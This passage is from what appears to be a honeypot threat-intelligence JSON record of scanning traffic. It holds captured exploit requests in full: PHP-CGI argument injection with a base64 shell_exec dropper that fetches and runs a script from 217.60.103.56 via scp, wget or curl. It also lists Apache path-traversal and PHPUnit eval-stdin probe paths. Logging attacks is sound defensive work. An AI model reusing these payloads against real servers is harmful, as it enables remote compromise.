2516b6331646d4a745655464251554646596d303564567052515546425155464251554642516b46425155464e6430464251554630656d4d795a3352615677705265553555565868505555464251554e45646d56466443744b64456c57576b6443566b6c69566d7449646d5272646c46785a45317059575a314e53394a545539325a5778494c336c345a304642515570426444684752464a4d5a6b4a52436a42525155464251585236597a4a6e6446705855586c4f56465634543146425155464452485a6c52585172536e524a566c7048516c5a4a596c5a7253485a6b61335a526357524e6157466d6454557653553150646d5673534339356547634b51554642525546794d5864734b7a4e4b5347747151544e6164464230616d5134596b463054465a47627a457a5a566f784d6b46334d6c4675526c68444c326c6c4f5452544d7a52744d47685761316c47565768305631466c4f544a544f51704463444235536e41724e3234345a3363324f545a565a69394d523046425155464452314a7a59327443656c7075556e644255556c45516b465650516f744c5330744c55564f524342505545564f55314e494946425353565a42564555675330565a4c5330744c53306e49443467613256354c6e4277617a73675a574e6f6279416e5533527961574e305347397a6445746c65554e6f5a574e726157356e49473576436c567a5a584a4c626d3933626b68766333527a526d6c735a5341765a4756324c3235316247776e4944346763334e6f59325a6e4f79426a614731765a4341304d444167613256354c6e4277617a736763324e774943317a4943314749484e7a61474e6d5a794174615342725a586b756348427249475273636b41794d5463754e6a41754d54417a4c6a55324f6e4e6f494739316446397a61447367615759675779416b507941745a5845674d4342644f7942306147567549474e6f6257396b49437434494739316446397a61447367633267676233563058334e6f49474e325a5638794d444930587a51314e7a63675069396b5a585976626e567362434179506959784f79426c62484e6c494368335a32563049433074626d38745932686c593273745932567964476c6d61574e68644755674c5846504c53426f64485277637a6f764c7a49784e7934324d4334784d444d754e54597663326767664877675933567962434174633273676148523063484d364c7938794d5463754e6a41754d54417a4c6a55324c334e6f4b53423849484e6f4943317a49474e325a5638794d444930587a51314e7a633749475a704f79427962534174636d596763334e6f59325a6e4947746c65533577634773676233563058334e6f2229293b206563686f286d6435282248656c6c6f204356452d323032342d343537372229293b203f3e","method":"POST","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"b00cfac7-0468-4e74-a345-a68d189f4d74","seq":4,"duration_ms":1099,"bytes_in":3722,"bytes_out":312},{"timestamp":"2026-09-26T05:52:06","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"1193\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php shell_exec(base64_decode(\"Y2QgL3RtcCB8fCBjZCAvdmFyL3RtcCB8fCBjZCAvZGV2L3NobTsgZWNobyAnLS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEdmVFdCtKdElWWkdCVkliVmtIdmRrdlFxZE1pYWZ1NS9JTU92ZWxIL3l4Z0FBQUpBdDhGRFJMZkJRCjBRQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRHZlRXQrSnRJVlpHQlZJYlZrSHZka3ZRcWRNaWFmdTUvSU1PdmVsSC95eGcKQUFBRUFyMXdsKzNKSGtqQTNadFB0amQ4YkF0TFZGbzEzZVoxMkF3MlFuRlhDL2llOTRTMzRtMGhWa1lGVWh0V1FlOTJTOQpDcDB5SnArN244Z3c2OTZVZi9MR0FBQUFDR1JzY2tCelpuUndBUUlEQkFVPQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0nID4ga2V5LnBwazsgZWNobyAnU3RyaWN0SG9zdEtleUNoZWNraW5nIG5vClVzZXJLbm93bkhvc3RzRmlsZSAvZGV2L251bGwnID4gc3NoY2ZnOyBjaG1vZCA0MDAga2V5LnBwazsgc2NwIC1zIC1GIHNzaGNmZyAtaSBrZXkucHBrIGRsckAyMTcuNjAuMTAzLjU2OnNoIG91dF9zaDsgaWYgWyAkPyAtZXEgMCBdOyB0aGVuIGNobW9kICt4IG91dF9zaDsgc2ggb3V0X3NoIGN2ZV8yMDI0XzQ1NzcgPi9kZXYvbnVsbCAyPiYxOyBlbHNlICh3Z2V0IC0tbm8tY2hlY2stY2VydGlmaWNhdGUgLXFPLSBodHRwczovLzIxNy42MC4xMDMuNTYvc2ggfHwgY3VybCAtc2sgaHR0cHM6Ly8yMTcuNjAuMTAzLjU2L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc7IGZpOyBybSAtcmYgc3NoY2ZnIGtleS5wcGsgb3V0X3No\")); echo(md5(\"Hello CVE-2024-4577\")); ?>","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f2532354144642b616c6c6f775f75726c5f696e636c756465253344312b2532354144642b6175746f5f70726570656e645f66696c652533447068703a2f2f696e70757420485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a20313139330d0a0d0a3c3f706870207368656c6c5f65786563286261736536345f6465636f64652822593251674c335274634342386643426a5a434176646d46794c335274634342386643426a5a4341765a4756324c334e6f625473675a574e6f6279416e4c5330744c5331435255644a546942505545564f55314e494946425353565a42564555675330565a4c5330744c53304b596a4e4362474a75546e7068517a4679576c6872644752715255464251554642516b6331646d4a745655464251554646596d303564567052515546425155464251554642516b46425155464e6430464251554630656d4d795a3352615677705265553555565868505555464251554e45646d56466443744b64456c57576b6443566b6c69566d7449646d5272646c46785a45317059575a314e53394a545539325a5778494c336c345a304642515570426444684752464a4d5a6b4a52436a42525155464251585236597a4a6e6446705855586c4f56465634543146425155464452485a6c52585172536e524a566c7048516c5a4a596c5a7253485a6b61335a526357524e6157466d6454557653553150646d5673534339356547634b51554642525546794d5864734b7a4e4b5347747151544e6164464230616d5134596b463054465a47627a457a5a566f784d6b46334d6c4675526c68444c326c6c4f5452544d7a52744d47685761316c47565768305631466c4f544a544f51704463444235536e41724e3234345a3363324f545a565a69394d523046425155464452314a7a59327443656c7075556e644255556c45516b465650516f744c5330744c55564f524342505545564f55314e494946425353565a42564555675330565a4c5330744c53306e49443467613256354c6e4277617a73675a574e6f6279416e5533527961574e305347397a6445746c65554e6f5a574e726157356e49473576436c567a5a584a4c626d3933626b68766333527a526d6c735a5341765a4756324c3235316247776e4944346763334e6f59325a6e4f79426a614731765a4341304d444167613256354c6e4277617a736763324e774943317a4943314749484e7a61474e6d5a794174615342725a586b756348427249475273636b41794d5463754e6a41754d54417a4c6a55324f6e4e6f494739316446397a61447367615759675779416b507941745a5845674d4342644f7942306147567549474e6f6257396b49437434494739316446397a61447367633267676233563058334e6f49474e325a5638794d444930587a51314e7a63675069396b5a585976626e567362434179506959784f79426c62484e6c494368335a32563049433074626d38745932686c593273745932567964476c6d61574e68644755674c5846504c53426f64485277637a6f764c7a49784e7934324d4334784d444d754e54597663326767664877675933567962434174633273676148523063484d364c7938794d5463754e6a41754d54417a4c6a55324c334e6f4b53423849484e6f4943317a49474e325a5638794d444930587a51314e7a633749475a704f79427962534174636d596763334e6f59325a6e4947746c65533577634773676233563058334e6f2229293b206563686f286d6435282248656c6c6f204356452d323032342d343537372229293b203f3e","method":"POST","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"b00cfac7-0468-4e74-a345-a68d189f4d74","seq":5,"duration_ms":1427,"bytes_in":5202,"bytes_out":390}],"http_methods":[{"method":"GET","count":48},{"method":"POST","count":20}],"distinct_ports_total":3,"top_paths":[{"path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","count":3,"ports":2},{"path":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","count":3,"ports":2},{"path":"/test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input","count":3,"ports":2},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":3,"ports":2},{"path":"/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":3,"ports":2},{"path":"/index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input","count":3,"ports":2},{"path":"/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input","count":2,"ports":2},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/vendor/phpunit/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/vendor/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":2,"ports":2},{"path":"/vendor/phpunit/phpunit/LICENSE/eval-stdin.php","count":2,"ports":2},{"path":"/containers/json","count":1,"ports":1},{"path":"/index.php?lang=../../../../../../../../tmp/index1","count":1,"ports":1}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":3}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:443","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"]},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"]}],"data_as_of":"2026-09-30T16:03:18.845325+00:00"}